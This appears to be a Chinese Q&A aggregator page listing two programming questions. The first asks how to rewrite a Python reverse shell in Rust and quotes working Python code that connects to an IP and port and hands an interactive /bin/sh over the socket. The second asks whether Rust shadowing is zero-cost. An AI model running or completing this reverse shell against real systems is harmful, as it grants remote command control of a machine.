小编spr*_*s00的帖子

用 Python 编写的反向 shell 脚本在 Rust 中的等价物是什么?

Python 中的反向 shell 脚本通常如下所示:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);
Run Code Online (Sandbox Code Playgroud)

我试图用 Rust 复制这个过程:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
Run Code Online (Sandbox Code Playgroud)

我只获得了与我的主机的 TCP 连接,并使用 netcat ( nc -l -p 6666) 进行侦听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式“调用” /bin/sh

如何用 Rust 编写这个反向 shell 脚本?

python sockets subprocess rust reverse-shell

5
推荐指数
1
解决办法
1918
查看次数

Rust 在多大程度上掩盖了零成本?

Rust 中的零运行时成本混合列表概述了如何在 Rust 中使用元组和正常特征(不是这个问题建议的特征对象)创建异构列表。该列表似乎在很大程度上依赖于阴影,并且每次添加新元素时都会有效地更改列表的整个类型。

这个实现对我来说似乎很棒,但是在查看了一些 Rust 的主页和资源后,我找不到任何明确定义阴影为零成本的地方。据我所知,重复放弃堆栈上的数据比间接的成本低,但重复复制和添加到现有数据而不是改变它听起来很昂贵。

你不用的东西,你不用付钱。更进一步:你所使用的,你不能更好地编写代码。

  • 比亚恩·斯特劳斯楚普

阴影似乎满足了第一个要求,但第二个呢?

Rust 的影子实际上是零成本的吗?

shadowing rust

0
推荐指数
1
解决办法
184
查看次数

标签 统计

rust ×2

python ×1

reverse-shell ×1

shadowing ×1

sockets ×1

subprocess ×1